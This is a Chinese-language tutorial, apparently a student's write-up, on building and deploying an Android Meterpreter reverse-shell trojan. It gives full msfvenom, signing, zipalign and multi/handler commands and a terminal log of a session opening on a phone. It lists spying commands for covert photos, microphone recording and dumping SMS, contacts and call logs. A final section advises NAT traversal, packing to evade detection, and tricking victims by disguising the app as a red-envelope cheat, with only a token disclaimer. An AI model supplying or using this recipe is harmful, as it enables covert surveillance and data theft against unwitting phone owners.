
前置條件
需要有kali系統並且保證相關命令正常執行。
登錄Oracle官網下載Linux版的jdk
事出有因,期末了各科都要交項目,安卓也不例外,我想着交什么呢?交安卓app感覺太過乏味,還是這個比較新穎,顯得Big高。2020.1.3---建議還是不要學我,我項目零分
操作
1.打開終端,輸入ifconfig查看ip地址(也是監聽地址)
2.輸入以下命令
msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk
3.為了木馬的兼容性為其配置簽名,並驗證
創建證書:
keytool -genkey -V -keystore apk-trojan-key.keystore -alias apk -keyalg RSA -keysize 1024 -validity 999
注意:這里alias參數后跟apk文件夾的文件名,文件名參考第二部生成,可自行設置。
簽名:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore apk-trojan-key.keystore apk.apk apk
驗證:
jarsigner -verify -verbose apk.apk
4.使用Zipalign優化apk
安裝命令:
apt-get install zipalign
優化apk:
zipalign -v 4 apk.apk aaaa.apk
5.啟動攻擊加載模塊,設置反彈連接
啟動msf:
msfconsole
1.use exploit/multi/handler //加載模塊
2. set payload android/meterpreter/reverse_tcp //選擇Payload
3.show options //查看參數設置
這個payload里邊有兩個參數要設置 LHOST和LPORT 表示地址和端口 默認的端口是4444 現在我們來更改設置
1.set LHOST 172.23.0.209 //這里的地址設置成我們剛才生成木馬的IP地址
2.set LPORT 5555 //這里的端口設置成剛才我們生成木馬所監聽的端口
3.exploit //開始執行漏洞 開始監聽,等待手機上線
結果流程演示
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.210.26.27 netmask 255.255.248.0 broadcast 10.210.31.255
inet6 fe80::20c:29ff:fe4f:7237 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:4f:72:37 txqueuelen 1000 (Ethernet)
RX packets 16 bytes 2062 (2.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 37 bytes 3277 (3.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 20 bytes 1116 (1.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20 bytes 1116 (1.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=10.210.26.27 LPORT=5555 R > /root/apk.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10085 bytes
root@kali:~# keytool -genkey -V -keystore apk-trojan-key.keystore -alias apk -keyalg RSA -keysize 1024 -validity 999
輸入密鑰庫口令:
再次輸入新口令:
您的名字與姓氏是什么?
[Unknown]: 1
您的組織單位名稱是什么?
[Unknown]: 1
您的組織名稱是什么?
[Unknown]: 1
您所在的城市或區域名稱是什么?
[Unknown]: 1
您所在的省/市/自治區名稱是什么?
[Unknown]: 1
該單位的雙字母國家/地區代碼是什么?
[Unknown]: 1
CN=1, OU=1, O=1, L=1, ST=1, C=1是否正確?
[否]: y
正在為以下對象生成 1,024 位RSA密鑰對和自簽名證書 (SHA256withRSA) (有效期為 999 天):
CN=1, OU=1, O=1, L=1, ST=1, C=1
輸入 <apk> 的密鑰口令
(如果和密鑰庫口令相同, 按回車):
[正在存儲apk-trojan-key.keystore]
Warning:
JKS 密鑰庫使用專用格式。建議使用 "keytool -importkeystore -srckeystore apk-trojan-key.keystore -destkeystore apk-trojan-key.keystore -deststoretype pkcs12" 遷移到行業標准格式 PKCS12。
root@kali:~# jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA1 -keystore apk-trojan-key.keystore apk.apk apk
輸入密鑰庫的密碼短語:
正在添加: META-INF/APK.SF
正在添加: META-INF/APK.RSA
正在簽名: AndroidManifest.xml
正在簽名: resources.arsc
正在簽名: classes.dex
>>> 簽名者
X.509, CN=1, OU=1, O=1, L=1, ST=1, C=1
[可信證書]
jar 已簽名。
警告:
簽名者證書為自簽名證書。
root@kali:~# jarsigner -verify -verbose apk.apk
s 258 Sat Dec 28 10:47:08 EST 2019 META-INF/MANIFEST.MF
393 Sat Dec 28 10:49:06 EST 2019 META-INF/APK.SF
870 Sat Dec 28 10:49:06 EST 2019 META-INF/APK.RSA
272 Sat Dec 28 10:47:08 EST 2019 META-INF/SIGNFILE.SF
1842 Sat Dec 28 10:47:08 EST 2019 META-INF/SIGNFILE.RSA
0 Sat Dec 28 10:47:08 EST 2019 META-INF/
sm 6992 Sat Dec 28 10:47:08 EST 2019 AndroidManifest.xml
sm 572 Sat Dec 28 10:47:08 EST 2019 resources.arsc
sm 19932 Sat Dec 28 10:47:08 EST 2019 classes.dex
s = 已驗證簽名
m = 在清單中列出條目
k = 在密鑰庫中至少找到了一個證書
i = 在身份作用域內至少找到了一個證書
- 由 "CN=1, OU=1, O=1, L=1, ST=1, C=1" 簽名
摘要算法: SHA1
簽名算法: SHA256withRSA, 1024 位密鑰
- 無法解析的與簽名相關的文件 META-INF/SIGNFILE.SF
jar 已驗證。
警告:
此 jar 包含其證書鏈無效的條目。原因: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
此 jar 包含其簽名者證書為自簽名證書的條目。
此 jar 包含的簽名沒有時間戳。如果沒有時間戳, 則在其中任一簽名者證書到期 (最早為 2022-09-22) 之后, 用戶可能無法驗證此 jar。
有關詳細信息, 請使用 -verbose 和 -certs 選項重新運行。
簽名者證書將於 2022-09-22 到期。
root@kali:~# zipalign -v 4 apk.apk aaaa.apk
Verifying alignment of aaaa.apk (4)...
50 META-INF/MANIFEST.MF (OK - compressed)
283 META-INF/APK.SF (OK - compressed)
626 META-INF/APK.RSA (OK - compressed)
1316 META-INF/ (OK)
1366 META-INF/SIGNFILE.SF (OK - compressed)
1648 META-INF/SIGNFILE.RSA (OK - compressed)
2733 AndroidManifest.xml (OK - compressed)
4500 resources.arsc (OK - compressed)
4730 classes.dex (OK - compressed)
Verification successful
root@kali:~# msfconsole
[-] ***rting the Metasploit Framework console...-
[-] * WARNING: No database support: could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5432?
could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 5432?
[-] ***
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v5.0.41-dev ]
+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 4 evasion ]
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (android/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > set LHOST 10.210.26.27
LHOST => 10.210.26.27
msf5 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.210.26.27:5555
[*] Sending stage (72435 bytes) to 10.210.26.14
[*] Meterpreter session 1 opened (10.210.26.27:5555 -> 10.210.26.14:53964) at 2019-12-28 10:55:04 -0500
meterpreter > sysinfo
Computer : localhost
OS : Android 8.1.0 - Linux 4.19.50-android-x86_64-geeb7e76e5df5 (x86_64)
Meterpreter : dalvik/android
meterpreter > 到此完成木馬生成及植入
木馬常用監聽命令
webcam_list 列出網絡攝像頭
webcam_stream //開啟攝像頭
webcam_snap //隱秘拍照功能
record_mic [ˈrekərd]/記錄/ 從默認麥克風錄制音頻為X秒
webcam_chat 開始視頻聊天
webcam_snap 從指定的攝像頭獲取快照
webcam_stream -i 1 從指定的網絡攝像頭播放視頻流[選擇后攝像頭]
Android Commands
=================
activity_start 從URI字符串啟動Android活動
check_root 檢查設備是否有根
dump_calllog 獲取調用日志
dump_contacts 獲取聯系人列表
dump_sms 獲取短信
geolocate 利用地理定位獲取當前LAT
wlan_geolocate 利用WLAN信息獲取當前LAT
hide_app_icon 從發射器隱藏應用程序圖標
interval_collect 管理區間收集能力
send_sms 從目標會話發送短消息
set_audio_mode
sqlite_query 從存儲庫查詢SQLite數據庫
wakelock 啟用/禁用Wakelock
可以輸入?查看更多命令
常見問題解決
jarsigner命令找不到
原因:沒有安裝Java jdk,命令基於Java jdk執行,解決需要給kali配置Java jdk環境。
jarsigner簽名使用
推薦jdk安裝文檔
Zipalign無法下載

可能跟你當前的網絡環境有關系,換數據試一下,如果行不通參考以下
kali源更新
參考其中的更新命令,更新源之后再嘗試是否能下載成功插件。
木馬生成后監視窗口無響應
顯示Started reverse TCP handler on “IP:端口”
但是不管怎么點擊手機上的app msf里都沒反應呢?
答:
服務器這邊沒反應是沒建立起連接。先ping一下查看電腦能否ping通手機,如果可以那可能是端口問題,telnet一下就知道了,有可能端口被防火牆屏蔽了,有可能是端口被其他服務占用了。當然也不排除手機的問題,比如一些安全軟件之類的問題,最好在虛擬機內測試避免木馬造成不可逆的破壞。
讓安裝的人都中招
1.內網穿透,讓你的監控地址成為一個公網IP這樣就能接收到廣域網的傳來信息。
2.木馬涉及的敏感權限較多,需要加殼,最近在研究apk反編譯等技術,希望能修改掉apk圖標,名稱等。
3.如何讓別人心甘情願的自己安裝,不僅要看木馬的偽裝,也要看你如何去社工,其實社工的本質就是研究對方的心理,達到欺騙目的,比如你可以說,這是一個搶紅包外掛,是不是對方極大程度的對軟件的安全性放松警惕呢?
說明
文章內容僅供學習參考,不得用於非法測試,請遵守國家法律!
